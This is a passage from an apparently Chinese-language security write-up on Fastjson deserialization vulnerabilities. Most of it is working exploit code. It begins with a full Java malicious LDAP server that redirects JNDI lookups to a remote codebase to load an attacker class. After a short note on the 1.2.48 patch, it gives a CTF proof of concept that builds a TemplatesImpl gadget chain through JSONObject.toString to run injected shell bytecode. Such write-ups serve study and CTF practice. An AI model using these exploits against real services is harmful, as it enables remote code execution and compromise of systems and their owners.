import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
public class LDAP_Server {
private static final String LDAP_BASE = "dc=example,dc=com";
public static void main ( String[] tmp_args ) {
String[] args=new String[]{"http://127.0.0.1:8888/#EXP"};
int port = 9999;
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen", //$NON-NLS-1$
InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ])));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
ds.startListening();
}
catch ( Exception e ) {
e.printStackTrace();
}
}
private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}
@Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}
}
protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "foo");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}
e.addAttribute("javaCodeBase", cbstring);
e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
e.addAttribute("javaFactory", this.codebase.getRef());
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}
成功执行
1.2.48版本修复
该版本修复了cache值默认为true的问题,直接将cache的值改为了false。
并且对TypeUtils#loadClass
中第三处较为宽松的mapping.put
做了限制
并将java.lang.Class
类放入了黑名单,这样彻底封死了从mapping中加载恶意类。
1.2.48后续版本
1.2.48后续版本存在一些拒绝服务漏洞和一些第三方组件RCE,这里我们暂不做分析。
小Trick
当存在反序列化漏洞并以toString为入口时,通过Fastjson的com.alibaba.fastjson.JSONObject.toString
方法可以调用任意类的getter方法,因此可以配合TemplatesImpl进行RCE。具体Gadget如下
...能够调用任意类的toString()方法
* com.alibaba.fastjson.JSONObject.toString()
* com.alibaba.fastjson.JSON.toString()
* com.alibaba.fastjson.JSON.toJSONString()
* com.alibaba.fastjson.serializer.MapSerializer.write()
* TemplatesImpl.getOutputProperties()
...TemplatesImpl的调用过程
比如 [西湖论剑2022] easy_api,poc如下
import com.alibaba.fastjson.JSONObject;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xpath.internal.objects.XString;
import org.springframework.aop.target.HotSwappableTargetSource;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.HashMap;
public class fj_gadget {
public static void main(String[] args) throws Exception {
TemplatesImpl templatesimpl = new TemplatesImpl();
byte[] bytecodes = Files.readAllBytes(Paths.get("D:\\CTF\\Security_Learning\\ROME\\target\\classes\\shell.class"));
setValue(templatesimpl,"_name","aaa");
setValue(templatesimpl,"_bytecodes",new byte[][] {bytecodes});
setValue(templatesimpl, "_tfactory", new TransformerFactoryImpl());
JSONObject jo = new JSONObject();
jo.put("1",templatesimpl);
HotSwappableTargetSource h1 = new HotSwappableTargetSource(jo);
// HotSwappableTargetSource h2 = new HotSwappableTargetSource(new XString("xxx"));
HotSwappableTargetSource h2 = new HotSwappableTargetSource(new Object());
HashMap<Object,Object> hashMap = new HashMap<>();
hashMap.put(h1,h1);
hashMap.put(h2,h2);
Class clazz=h2.getClass();
Field transformerdeclaredField = clazz.getDeclaredField("target");
transformerdeclaredField.setAccessible(true);
transformerdeclaredField.set(h2,new XString("xxx"));
System.out.println(serial(hashMap));
String payload = "...";
// deserial(payload);
}
public static String serial(Object o) throws IOException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(o);
oos.close();
String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());
return base64String;
}
public static void deserial(String data) throws Exception {
byte[] base64decodedBytes = Base64.getDecoder().decode(data);
ByteArrayInputStream bais = new ByteArrayInputStream(base64decodedBytes);
CustomObjectInputStream ois = new CustomObjectInputStream(bais);
ois.readObject();
ois.close();
}
public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
}